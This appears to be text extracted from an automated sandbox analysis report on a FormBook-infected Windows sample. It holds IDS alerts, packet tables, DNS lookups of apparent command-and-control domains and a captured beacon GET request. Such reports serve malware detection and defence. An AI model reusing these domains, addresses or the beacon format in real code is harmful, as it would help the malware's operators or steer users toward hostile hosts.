CompanyName

LegalTrademarks

Comments

ProductName RegisterVB

ProductVersion 1.0.0.0

FileDescription RegisterVB

OriginalFilename KerbLogonSubmitType.exe

Network Behavior

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

02/23/21-
09:00:28.246241

ICMP 402 ICMP Destination Unreachable Port Unreachable 192.168.2.3 8.8.8.8

02/23/21-
09:00:33.481128

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49724 80 192.168.2.3 94.73.146.42

02/23/21-
09:00:33.481128

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49724 80 192.168.2.3 94.73.146.42

02/23/21-
09:00:33.481128

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49724 80 192.168.2.3 94.73.146.42

02/23/21-
09:00:38.674968

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49731 80 192.168.2.3 34.102.136.180

02/23/21-
09:00:38.674968

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49731 80 192.168.2.3 34.102.136.180

02/23/21-
09:00:38.674968

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49731 80 192.168.2.3 34.102.136.180

02/23/21-
09:00:38.814055

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49731 34.102.136.180 192.168.2.3

02/23/21-
09:00:44.103740

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49737 34.102.136.180 192.168.2.3

02/23/21-
09:00:49.240714

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49738 80 192.168.2.3 34.102.136.180

02/23/21-
09:00:49.240714

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49738 80 192.168.2.3 34.102.136.180

02/23/21-
09:00:49.240714

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49738 80 192.168.2.3 34.102.136.180

02/23/21-
09:00:49.379719

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49738 34.102.136.180 192.168.2.3

02/23/21-
09:00:54.643258

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49744 34.102.136.180 192.168.2.3

02/23/21-
09:01:16.266371

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49747 34.102.136.180 192.168.2.3

02/23/21-
09:01:32.674674

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49751 34.102.136.180 192.168.2.3

Version Infos
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Timestamp Source Port Dest Port Source IP Dest IP

Feb 23, 2021 09:00:33.407541990 CET 49724 80 192.168.2.3 94.73.146.42

Feb 23, 2021 09:00:33.480822086 CET 80 49724 94.73.146.42 192.168.2.3

Feb 23, 2021 09:00:33.481100082 CET 49724 80 192.168.2.3 94.73.146.42

Feb 23, 2021 09:00:33.481127977 CET 49724 80 192.168.2.3 94.73.146.42

Feb 23, 2021 09:00:33.554670095 CET 80 49724 94.73.146.42 192.168.2.3

Feb 23, 2021 09:00:33.554917097 CET 80 49724 94.73.146.42 192.168.2.3

Feb 23, 2021 09:00:33.554956913 CET 80 49724 94.73.146.42 192.168.2.3

Feb 23, 2021 09:00:33.554985046 CET 80 49724 94.73.146.42 192.168.2.3

Feb 23, 2021 09:00:33.555100918 CET 49724 80 192.168.2.3 94.73.146.42

Feb 23, 2021 09:00:33.555182934 CET 49724 80 192.168.2.3 94.73.146.42

Feb 23, 2021 09:00:33.564821959 CET 80 49724 94.73.146.42 192.168.2.3

Feb 23, 2021 09:00:33.564934969 CET 49724 80 192.168.2.3 94.73.146.42

Feb 23, 2021 09:00:33.628359079 CET 80 49724 94.73.146.42 192.168.2.3

Feb 23, 2021 09:00:38.633469105 CET 49731 80 192.168.2.3 34.102.136.180

Feb 23, 2021 09:00:38.674273014 CET 80 49731 34.102.136.180 192.168.2.3

Feb 23, 2021 09:00:38.674552917 CET 49731 80 192.168.2.3 34.102.136.180

Feb 23, 2021 09:00:38.674968004 CET 49731 80 192.168.2.3 34.102.136.180

Feb 23, 2021 09:00:38.715584040 CET 80 49731 34.102.136.180 192.168.2.3

Feb 23, 2021 09:00:38.814054966 CET 80 49731 34.102.136.180 192.168.2.3

Feb 23, 2021 09:00:38.814071894 CET 80 49731 34.102.136.180 192.168.2.3

Feb 23, 2021 09:00:38.814229012 CET 49731 80 192.168.2.3 34.102.136.180

Feb 23, 2021 09:00:38.814296007 CET 49731 80 192.168.2.3 34.102.136.180

Feb 23, 2021 09:00:38.854893923 CET 80 49731 34.102.136.180 192.168.2.3

Feb 23, 2021 09:00:43.922801018 CET 49737 80 192.168.2.3 34.102.136.180

Feb 23, 2021 09:00:43.963917971 CET 80 49737 34.102.136.180 192.168.2.3

Feb 23, 2021 09:00:43.964036942 CET 49737 80 192.168.2.3 34.102.136.180

Feb 23, 2021 09:00:43.964195013 CET 49737 80 192.168.2.3 34.102.136.180

Feb 23, 2021 09:00:44.005198956 CET 80 49737 34.102.136.180 192.168.2.3

Feb 23, 2021 09:00:44.103739977 CET 80 49737 34.102.136.180 192.168.2.3

Feb 23, 2021 09:00:44.103795052 CET 80 49737 34.102.136.180 192.168.2.3

Feb 23, 2021 09:00:44.103934050 CET 49737 80 192.168.2.3 34.102.136.180

Feb 23, 2021 09:00:44.103986025 CET 49737 80 192.168.2.3 34.102.136.180

Feb 23, 2021 09:00:44.145189047 CET 80 49737 34.102.136.180 192.168.2.3

Feb 23, 2021 09:00:49.199274063 CET 49738 80 192.168.2.3 34.102.136.180

Feb 23, 2021 09:00:49.240139008 CET 80 49738 34.102.136.180 192.168.2.3

Feb 23, 2021 09:00:49.240278006 CET 49738 80 192.168.2.3 34.102.136.180

Feb 23, 2021 09:00:49.240714073 CET 49738 80 192.168.2.3 34.102.136.180

Feb 23, 2021 09:00:49.281544924 CET 80 49738 34.102.136.180 192.168.2.3

Feb 23, 2021 09:00:49.379719019 CET 80 49738 34.102.136.180 192.168.2.3

Feb 23, 2021 09:00:49.379745007 CET 80 49738 34.102.136.180 192.168.2.3

Feb 23, 2021 09:00:49.379972935 CET 49738 80 192.168.2.3 34.102.136.180

Feb 23, 2021 09:00:49.380029917 CET 49738 80 192.168.2.3 34.102.136.180

Feb 23, 2021 09:00:49.421689034 CET 80 49738 34.102.136.180 192.168.2.3

Feb 23, 2021 09:00:54.461687088 CET 49744 80 192.168.2.3 34.102.136.180

TCP Packets
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Feb 23, 2021 09:00:54.502767086 CET 80 49744 34.102.136.180 192.168.2.3

Feb 23, 2021 09:00:54.502882957 CET 49744 80 192.168.2.3 34.102.136.180

Feb 23, 2021 09:00:54.503062010 CET 49744 80 192.168.2.3 34.102.136.180

Feb 23, 2021 09:00:54.544015884 CET 80 49744 34.102.136.180 192.168.2.3

Feb 23, 2021 09:00:54.643258095 CET 80 49744 34.102.136.180 192.168.2.3

Feb 23, 2021 09:00:54.643286943 CET 80 49744 34.102.136.180 192.168.2.3

Feb 23, 2021 09:00:54.643538952 CET 49744 80 192.168.2.3 34.102.136.180

Feb 23, 2021 09:00:54.643569946 CET 49744 80 192.168.2.3 34.102.136.180

Feb 23, 2021 09:00:54.684475899 CET 80 49744 34.102.136.180 192.168.2.3

Feb 23, 2021 09:00:59.903522968 CET 49745 80 192.168.2.3 154.80.226.18

Feb 23, 2021 09:01:00.252563953 CET 80 49745 154.80.226.18 192.168.2.3

Feb 23, 2021 09:01:00.252765894 CET 49745 80 192.168.2.3 154.80.226.18

Feb 23, 2021 09:01:00.252922058 CET 49745 80 192.168.2.3 154.80.226.18

Feb 23, 2021 09:01:00.601605892 CET 80 49745 154.80.226.18 192.168.2.3

Feb 23, 2021 09:01:00.606403112 CET 80 49745 154.80.226.18 192.168.2.3

Feb 23, 2021 09:01:00.606431007 CET 80 49745 154.80.226.18 192.168.2.3

Feb 23, 2021 09:01:00.609314919 CET 49745 80 192.168.2.3 154.80.226.18

Feb 23, 2021 09:01:00.609343052 CET 49745 80 192.168.2.3 154.80.226.18

Feb 23, 2021 09:01:00.958373070 CET 80 49745 154.80.226.18 192.168.2.3

Feb 23, 2021 09:01:10.870951891 CET 49746 80 192.168.2.3 52.128.23.153

Feb 23, 2021 09:01:10.922276974 CET 80 49746 52.128.23.153 192.168.2.3

Feb 23, 2021 09:01:10.922502995 CET 49746 80 192.168.2.3 52.128.23.153

Feb 23, 2021 09:01:10.922751904 CET 49746 80 192.168.2.3 52.128.23.153

Feb 23, 2021 09:01:10.973910093 CET 80 49746 52.128.23.153 192.168.2.3

Feb 23, 2021 09:01:10.973952055 CET 80 49746 52.128.23.153 192.168.2.3

Feb 23, 2021 09:01:10.973977089 CET 80 49746 52.128.23.153 192.168.2.3

Feb 23, 2021 09:01:10.973999023 CET 80 49746 52.128.23.153 192.168.2.3

Feb 23, 2021 09:01:10.974023104 CET 80 49746 52.128.23.153 192.168.2.3

Feb 23, 2021 09:01:10.974045038 CET 80 49746 52.128.23.153 192.168.2.3

Feb 23, 2021 09:01:10.974069118 CET 80 49746 52.128.23.153 192.168.2.3

Feb 23, 2021 09:01:10.974092007 CET 80 49746 52.128.23.153 192.168.2.3

Feb 23, 2021 09:01:10.974112988 CET 80 49746 52.128.23.153 192.168.2.3

Feb 23, 2021 09:01:10.974184990 CET 49746 80 192.168.2.3 52.128.23.153

Feb 23, 2021 09:01:10.974220037 CET 49746 80 192.168.2.3 52.128.23.153

Feb 23, 2021 09:01:10.974328995 CET 49746 80 192.168.2.3 52.128.23.153

Feb 23, 2021 09:01:16.086059093 CET 49747 80 192.168.2.3 34.102.136.180

Feb 23, 2021 09:01:16.126939058 CET 80 49747 34.102.136.180 192.168.2.3

Feb 23, 2021 09:01:16.127068996 CET 49747 80 192.168.2.3 34.102.136.180

Feb 23, 2021 09:01:16.127204895 CET 49747 80 192.168.2.3 34.102.136.180

Feb 23, 2021 09:01:16.167947054 CET 80 49747 34.102.136.180 192.168.2.3

Feb 23, 2021 09:01:16.266371012 CET 80 49747 34.102.136.180 192.168.2.3

Feb 23, 2021 09:01:16.266391993 CET 80 49747 34.102.136.180 192.168.2.3

Feb 23, 2021 09:01:16.266540051 CET 49747 80 192.168.2.3 34.102.136.180

Feb 23, 2021 09:01:16.266608953 CET 49747 80 192.168.2.3 34.102.136.180

Feb 23, 2021 09:01:16.307312965 CET 80 49747 34.102.136.180 192.168.2.3

Feb 23, 2021 09:01:27.065510988 CET 49750 80 192.168.2.3 198.185.159.144

Feb 23, 2021 09:01:27.236430883 CET 80 49750 198.185.159.144 192.168.2.3

Feb 23, 2021 09:01:27.236623049 CET 49750 80 192.168.2.3 198.185.159.144

Feb 23, 2021 09:01:27.236773014 CET 49750 80 192.168.2.3 198.185.159.144

Feb 23, 2021 09:01:27.406384945 CET 80 49750 198.185.159.144 192.168.2.3

Feb 23, 2021 09:01:27.410075903 CET 80 49750 198.185.159.144 192.168.2.3

Feb 23, 2021 09:01:27.410100937 CET 80 49750 198.185.159.144 192.168.2.3

Feb 23, 2021 09:01:27.410115957 CET 80 49750 198.185.159.144 192.168.2.3

Feb 23, 2021 09:01:27.410130024 CET 80 49750 198.185.159.144 192.168.2.3

Feb 23, 2021 09:01:27.410145998 CET 80 49750 198.185.159.144 192.168.2.3

Feb 23, 2021 09:01:27.410161972 CET 80 49750 198.185.159.144 192.168.2.3

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source Port Dest Port Source IP Dest IP

Feb 23, 2021 08:59:15.725260019 CET 56777 53 192.168.2.3 8.8.8.8

Feb 23, 2021 08:59:15.774024963 CET 53 56777 8.8.8.8 192.168.2.3

Feb 23, 2021 08:59:15.791728020 CET 58643 53 192.168.2.3 8.8.8.8

Feb 23, 2021 08:59:15.840475082 CET 53 58643 8.8.8.8 192.168.2.3

UDP Packets
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Feb 23, 2021 08:59:16.036062002 CET 60985 53 192.168.2.3 8.8.8.8

Feb 23, 2021 08:59:16.046003103 CET 50200 53 192.168.2.3 8.8.8.8

Feb 23, 2021 08:59:16.094485044 CET 53 60985 8.8.8.8 192.168.2.3

Feb 23, 2021 08:59:16.106811047 CET 53 50200 8.8.8.8 192.168.2.3

Feb 23, 2021 08:59:16.682037115 CET 51281 53 192.168.2.3 8.8.8.8

Feb 23, 2021 08:59:16.733700037 CET 53 51281 8.8.8.8 192.168.2.3

Feb 23, 2021 08:59:17.228666067 CET 49199 53 192.168.2.3 8.8.8.8

Feb 23, 2021 08:59:17.290731907 CET 53 49199 8.8.8.8 192.168.2.3

Feb 23, 2021 08:59:17.689059019 CET 50620 53 192.168.2.3 8.8.8.8

Feb 23, 2021 08:59:17.737847090 CET 53 50620 8.8.8.8 192.168.2.3

Feb 23, 2021 08:59:18.879532099 CET 64938 53 192.168.2.3 8.8.8.8

Feb 23, 2021 08:59:18.931186914 CET 53 64938 8.8.8.8 192.168.2.3

Feb 23, 2021 08:59:19.853307962 CET 60152 53 192.168.2.3 8.8.8.8

Feb 23, 2021 08:59:19.905019045 CET 53 60152 8.8.8.8 192.168.2.3

Feb 23, 2021 08:59:20.881572962 CET 57544 53 192.168.2.3 8.8.8.8

Feb 23, 2021 08:59:20.930495977 CET 53 57544 8.8.8.8 192.168.2.3

Feb 23, 2021 08:59:22.022630930 CET 55984 53 192.168.2.3 8.8.8.8

Feb 23, 2021 08:59:22.074151039 CET 53 55984 8.8.8.8 192.168.2.3

Feb 23, 2021 08:59:23.100560904 CET 64185 53 192.168.2.3 8.8.8.8

Feb 23, 2021 08:59:23.149183035 CET 53 64185 8.8.8.8 192.168.2.3

Feb 23, 2021 08:59:23.897679090 CET 65110 53 192.168.2.3 8.8.8.8

Feb 23, 2021 08:59:23.949147940 CET 53 65110 8.8.8.8 192.168.2.3

Feb 23, 2021 08:59:25.216830969 CET 58361 53 192.168.2.3 8.8.8.8

Feb 23, 2021 08:59:25.265450954 CET 53 58361 8.8.8.8 192.168.2.3

Feb 23, 2021 08:59:26.185484886 CET 63492 53 192.168.2.3 8.8.8.8

Feb 23, 2021 08:59:26.234597921 CET 53 63492 8.8.8.8 192.168.2.3

Feb 23, 2021 08:59:27.032710075 CET 60831 53 192.168.2.3 8.8.8.8

Feb 23, 2021 08:59:27.089612007 CET 53 60831 8.8.8.8 192.168.2.3

Feb 23, 2021 08:59:27.917500019 CET 60100 53 192.168.2.3 8.8.8.8

Feb 23, 2021 08:59:27.974639893 CET 53 60100 8.8.8.8 192.168.2.3

Feb 23, 2021 08:59:29.076859951 CET 53195 53 192.168.2.3 8.8.8.8

Feb 23, 2021 08:59:29.125580072 CET 53 53195 8.8.8.8 192.168.2.3

Feb 23, 2021 08:59:32.685682058 CET 50141 53 192.168.2.3 8.8.8.8

Feb 23, 2021 08:59:32.743032932 CET 53 50141 8.8.8.8 192.168.2.3

Feb 23, 2021 08:59:35.290663004 CET 53023 53 192.168.2.3 8.8.8.8

Feb 23, 2021 08:59:35.339437008 CET 53 53023 8.8.8.8 192.168.2.3

Feb 23, 2021 08:59:36.662890911 CET 49563 53 192.168.2.3 8.8.8.8

Feb 23, 2021 08:59:36.714504004 CET 53 49563 8.8.8.8 192.168.2.3

Feb 23, 2021 08:59:37.917320013 CET 51352 53 192.168.2.3 8.8.8.8

Feb 23, 2021 08:59:37.968981028 CET 53 51352 8.8.8.8 192.168.2.3

Feb 23, 2021 08:59:51.693639994 CET 59349 53 192.168.2.3 8.8.8.8

Feb 23, 2021 08:59:51.752203941 CET 53 59349 8.8.8.8 192.168.2.3

Feb 23, 2021 08:59:54.171056032 CET 57084 53 192.168.2.3 8.8.8.8

Feb 23, 2021 08:59:54.219645023 CET 53 57084 8.8.8.8 192.168.2.3

Feb 23, 2021 09:00:09.312968969 CET 58823 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:00:09.372163057 CET 53 58823 8.8.8.8 192.168.2.3

Feb 23, 2021 09:00:26.176038027 CET 57568 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:00:27.186381102 CET 57568 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:00:28.202013016 CET 57568 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:00:28.240843058 CET 53 57568 8.8.8.8 192.168.2.3

Feb 23, 2021 09:00:28.246145964 CET 53 57568 8.8.8.8 192.168.2.3

Feb 23, 2021 09:00:28.262003899 CET 53 57568 8.8.8.8 192.168.2.3

Feb 23, 2021 09:00:33.254621983 CET 50540 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:00:33.352252007 CET 53 50540 8.8.8.8 192.168.2.3

Feb 23, 2021 09:00:35.870695114 CET 54366 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:00:35.948067904 CET 53 54366 8.8.8.8 192.168.2.3

Feb 23, 2021 09:00:36.551553965 CET 53034 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:00:36.620382071 CET 53 53034 8.8.8.8 192.168.2.3

Feb 23, 2021 09:00:37.183090925 CET 57762 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:00:37.242964983 CET 53 57762 8.8.8.8 192.168.2.3

Feb 23, 2021 09:00:37.469012976 CET 55435 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:00:37.534207106 CET 53 55435 8.8.8.8 192.168.2.3

Feb 23, 2021 09:00:37.668474913 CET 50713 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:00:37.753945112 CET 53 50713 8.8.8.8 192.168.2.3

Timestamp Source Port Dest Port Source IP Dest IP
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Feb 23, 2021 09:00:38.263458967 CET 56132 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:00:38.323601961 CET 53 56132 8.8.8.8 192.168.2.3

Feb 23, 2021 09:00:38.567380905 CET 58987 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:00:38.631567001 CET 53 58987 8.8.8.8 192.168.2.3

Feb 23, 2021 09:00:38.887336969 CET 56579 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:00:38.947335958 CET 53 56579 8.8.8.8 192.168.2.3

Feb 23, 2021 09:00:39.565145016 CET 60633 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:00:39.625123978 CET 53 60633 8.8.8.8 192.168.2.3

Feb 23, 2021 09:00:40.473942041 CET 61292 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:00:40.530745029 CET 53 61292 8.8.8.8 192.168.2.3

Feb 23, 2021 09:00:41.331619024 CET 63619 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:00:41.388839006 CET 53 63619 8.8.8.8 192.168.2.3

Feb 23, 2021 09:00:41.814295053 CET 64938 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:00:41.874871016 CET 53 64938 8.8.8.8 192.168.2.3

Feb 23, 2021 09:00:43.862653017 CET 61946 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:00:43.921757936 CET 53 61946 8.8.8.8 192.168.2.3

Feb 23, 2021 09:00:49.115926027 CET 64910 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:00:49.198060989 CET 53 64910 8.8.8.8 192.168.2.3

Feb 23, 2021 09:00:50.392818928 CET 52123 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:00:50.451534986 CET 53 52123 8.8.8.8 192.168.2.3

Feb 23, 2021 09:00:54.395446062 CET 56130 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:00:54.460644007 CET 53 56130 8.8.8.8 192.168.2.3

Feb 23, 2021 09:00:59.691766024 CET 56338 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:00:59.902288914 CET 53 56338 8.8.8.8 192.168.2.3

Feb 23, 2021 09:01:05.616384029 CET 59420 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:01:05.689476967 CET 53 59420 8.8.8.8 192.168.2.3

Feb 23, 2021 09:01:10.710935116 CET 58784 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:01:10.869110107 CET 53 58784 8.8.8.8 192.168.2.3

Feb 23, 2021 09:01:16.014178991 CET 63978 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:01:16.085098028 CET 53 63978 8.8.8.8 192.168.2.3

Feb 23, 2021 09:01:17.498831034 CET 62938 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:01:17.547620058 CET 53 62938 8.8.8.8 192.168.2.3

Feb 23, 2021 09:01:19.892761946 CET 55708 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:01:19.949927092 CET 53 55708 8.8.8.8 192.168.2.3

Feb 23, 2021 09:01:21.282691956 CET 56803 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:01:21.344999075 CET 53 56803 8.8.8.8 192.168.2.3

Feb 23, 2021 09:01:26.991563082 CET 57145 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:01:27.056251049 CET 53 57145 8.8.8.8 192.168.2.3

Feb 23, 2021 09:01:32.432291031 CET 55359 53 192.168.2.3 8.8.8.8

Feb 23, 2021 09:01:32.493457079 CET 53 55359 8.8.8.8 192.168.2.3

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source IP Dest IP Checksum Code Type

Feb 23, 2021 09:00:28.246241093 CET 192.168.2.3 8.8.8.8 d03b (Port 
unreachable)

Destination 
Unreachable

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Feb 23, 2021 09:00:26.176038027 CET 192.168.2.3 8.8.8.8 0x4508 Standard query 
(0)

www.fcoins.club A (IP address) IN (0x0001)

Feb 23, 2021 09:00:27.186381102 CET 192.168.2.3 8.8.8.8 0x4508 Standard query 
(0)

www.fcoins.club A (IP address) IN (0x0001)

Feb 23, 2021 09:00:28.202013016 CET 192.168.2.3 8.8.8.8 0x4508 Standard query 
(0)

www.fcoins.club A (IP address) IN (0x0001)

Feb 23, 2021 09:00:33.254621983 CET 192.168.2.3 8.8.8.8 0xae5d Standard query 
(0)

www.h2otur
kiye.com

A (IP address) IN (0x0001)

Feb 23, 2021 09:00:38.567380905 CET 192.168.2.3 8.8.8.8 0x8c97 Standard query 
(0)

www.ramjam
dee.com

A (IP address) IN (0x0001)

Feb 23, 2021 09:00:43.862653017 CET 192.168.2.3 8.8.8.8 0x23e2 Standard query 
(0)

www.rizrvd.com A (IP address) IN (0x0001)

Feb 23, 2021 09:00:49.115926027 CET 192.168.2.3 8.8.8.8 0xaf8d Standard query 
(0)

www.gdsjgf.com A (IP address) IN (0x0001)

Feb 23, 2021 09:00:54.395446062 CET 192.168.2.3 8.8.8.8 0xb35a Standard query 
(0)

www.climax
novels.com

A (IP address) IN (0x0001)

ICMP Packets

DNS Queries
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Feb 23, 2021 09:00:59.691766024 CET 192.168.2.3 8.8.8.8 0xb202 Standard query 
(0)

www.thebab
yfriendly.com

A (IP address) IN (0x0001)

Feb 23, 2021 09:01:05.616384029 CET 192.168.2.3 8.8.8.8 0xce86 Standard query 
(0)

www.chrisb
ubser.digital

A (IP address) IN (0x0001)

Feb 23, 2021 09:01:10.710935116 CET 192.168.2.3 8.8.8.8 0x2d31 Standard query 
(0)

www.wellne
sssensation.com

A (IP address) IN (0x0001)

Feb 23, 2021 09:01:16.014178991 CET 192.168.2.3 8.8.8.8 0x886b Standard query 
(0)

www.galler
ybrows.com

A (IP address) IN (0x0001)

Feb 23, 2021 09:01:21.282691956 CET 192.168.2.3 8.8.8.8 0x3500 Standard query 
(0)

www.yjpps.com A (IP address) IN (0x0001)

Feb 23, 2021 09:01:26.991563082 CET 192.168.2.3 8.8.8.8 0x13f5 Standard query 
(0)

www.usmedi
carenow.com

A (IP address) IN (0x0001)

Feb 23, 2021 09:01:32.432291031 CET 192.168.2.3 8.8.8.8 0x2ed9 Standard query 
(0)

www.activa
gebenefits.net

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Feb 23, 2021 
09:00:28.240843058 
CET

8.8.8.8 192.168.2.3 0x4508 Name error (3) www.fcoins.club none none A (IP address) IN (0x0001)

Feb 23, 2021 
09:00:28.246145964 
CET

8.8.8.8 192.168.2.3 0x4508 Name error (3) www.fcoins.club none none A (IP address) IN (0x0001)

Feb 23, 2021 
09:00:28.262003899 
CET

8.8.8.8 192.168.2.3 0x4508 Name error (3) www.fcoins.club none none A (IP address) IN (0x0001)

Feb 23, 2021 
09:00:33.352252007 
CET

8.8.8.8 192.168.2.3 0xae5d No error (0) www.h2otur
kiye.com

h2oturkiye.com CNAME 
(Canonical 
name)

IN (0x0001)

Feb 23, 2021 
09:00:33.352252007 
CET

8.8.8.8 192.168.2.3 0xae5d No error (0) h2oturkiye.com 94.73.146.42 A (IP address) IN (0x0001)

Feb 23, 2021 
09:00:38.631567001 
CET

8.8.8.8 192.168.2.3 0x8c97 No error (0) www.ramjam
dee.com

ramjamdee.com CNAME 
(Canonical 
name)

IN (0x0001)

Feb 23, 2021 
09:00:38.631567001 
CET

8.8.8.8 192.168.2.3 0x8c97 No error (0) ramjamdee.com 34.102.136.180 A (IP address) IN (0x0001)

Feb 23, 2021 
09:00:43.921757936 
CET

8.8.8.8 192.168.2.3 0x23e2 No error (0) www.rizrvd.com rizrvd.com CNAME 
(Canonical 
name)

IN (0x0001)

Feb 23, 2021 
09:00:43.921757936 
CET

8.8.8.8 192.168.2.3 0x23e2 No error (0) rizrvd.com 34.102.136.180 A (IP address) IN (0x0001)

Feb 23, 2021 
09:00:49.198060989 
CET

8.8.8.8 192.168.2.3 0xaf8d No error (0) www.gdsjgf.com gdsjgf.com CNAME 
(Canonical 
name)

IN (0x0001)

Feb 23, 2021 
09:00:49.198060989 
CET

8.8.8.8 192.168.2.3 0xaf8d No error (0) gdsjgf.com 34.102.136.180 A (IP address) IN (0x0001)

Feb 23, 2021 
09:00:54.460644007 
CET

8.8.8.8 192.168.2.3 0xb35a No error (0) www.climax
novels.com

climaxnovels.com CNAME 
(Canonical 
name)

IN (0x0001)

Feb 23, 2021 
09:00:54.460644007 
CET

8.8.8.8 192.168.2.3 0xb35a No error (0) climaxnove
ls.com

34.102.136.180 A (IP address) IN (0x0001)

Feb 23, 2021 
09:00:59.902288914 
CET

8.8.8.8 192.168.2.3 0xb202 No error (0) www.thebab
yfriendly.com

154.80.226.18 A (IP address) IN (0x0001)

Feb 23, 2021 
09:01:05.689476967 
CET

8.8.8.8 192.168.2.3 0xce86 Name error (3) www.chrisb
ubser.digital

none none A (IP address) IN (0x0001)

Feb 23, 2021 
09:01:10.869110107 
CET

8.8.8.8 192.168.2.3 0x2d31 No error (0) www.wellne
sssensation.com

52.128.23.153 A (IP address) IN (0x0001)

Feb 23, 2021 
09:01:16.085098028 
CET

8.8.8.8 192.168.2.3 0x886b No error (0) www.galler
ybrows.com

gallerybrows.com CNAME 
(Canonical 
name)

IN (0x0001)

Feb 23, 2021 
09:01:16.085098028 
CET

8.8.8.8 192.168.2.3 0x886b No error (0) gallerybro
ws.com

34.102.136.180 A (IP address) IN (0x0001)

Feb 23, 2021 
09:01:21.344999075 
CET

8.8.8.8 192.168.2.3 0x3500 No error (0) www.yjpps.com 0.0.0.0 A (IP address) IN (0x0001)

DNS Answers
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Feb 23, 2021 
09:01:27.056251049 
CET

8.8.8.8 192.168.2.3 0x13f5 No error (0) www.usmedi
carenow.com

ext-
sq.squarespace.com

CNAME 
(Canonical 
name)

IN (0x0001)

Feb 23, 2021 
09:01:27.056251049 
CET

8.8.8.8 192.168.2.3 0x13f5 No error (0) ext-sq.squ
arespace.com

198.185.159.144 A (IP address) IN (0x0001)

Feb 23, 2021 
09:01:27.056251049 
CET

8.8.8.8 192.168.2.3 0x13f5 No error (0) ext-sq.squ
arespace.com

198.49.23.145 A (IP address) IN (0x0001)

Feb 23, 2021 
09:01:27.056251049 
CET

8.8.8.8 192.168.2.3 0x13f5 No error (0) ext-sq.squ
arespace.com

198.185.159.145 A (IP address) IN (0x0001)

Feb 23, 2021 
09:01:27.056251049 
CET

8.8.8.8 192.168.2.3 0x13f5 No error (0) ext-sq.squ
arespace.com

198.49.23.144 A (IP address) IN (0x0001)

Feb 23, 2021 
09:01:32.493457079 
CET

8.8.8.8 192.168.2.3 0x2ed9 No error (0) www.activa
gebenefits.net

activagebenefits.net CNAME 
(Canonical 
name)

IN (0x0001)

Feb 23, 2021 
09:01:32.493457079 
CET

8.8.8.8 192.168.2.3 0x2ed9 No error (0) activagebe
nefits.net

34.102.136.180 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
www.h2oturkiye.com

            
www.ramjamdee.com

            
www.rizrvd.com

            
www.gdsjgf.com

            
www.climaxnovels.com

            
www.thebabyfriendly.com

            
www.wellnesssensation.com

            
www.gallerybrows.com

            
www.usmedicarenow.com

            
www.activagebenefits.net

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.3 49724 94.73.146.42 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Feb 23, 2021 
09:00:33.481127977 CET

1237 OUT GET /bw82/?2dspCJ=CMr/hCS473yTOMLQRlwKDrCPfcrQCABATOinOmsXstIRfABY7iJyJix7IPLOuntXuF5p&L6A
h=2dPLKjuxNzghip HTTP/1.1
Host: www.h2oturkiye.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

HTTP Request Dependency Graph

HTTP Packets

Copyright null 2021 Page 37 of 47



Feb 23, 2021 
09:00:33.554917097 CET

1238 IN HTTP/1.1 404 Not Found
Connection: close
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 1237
Date: Tue, 23 Feb 2021 08:00:33 GMT
Server: LiteSpeed
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 
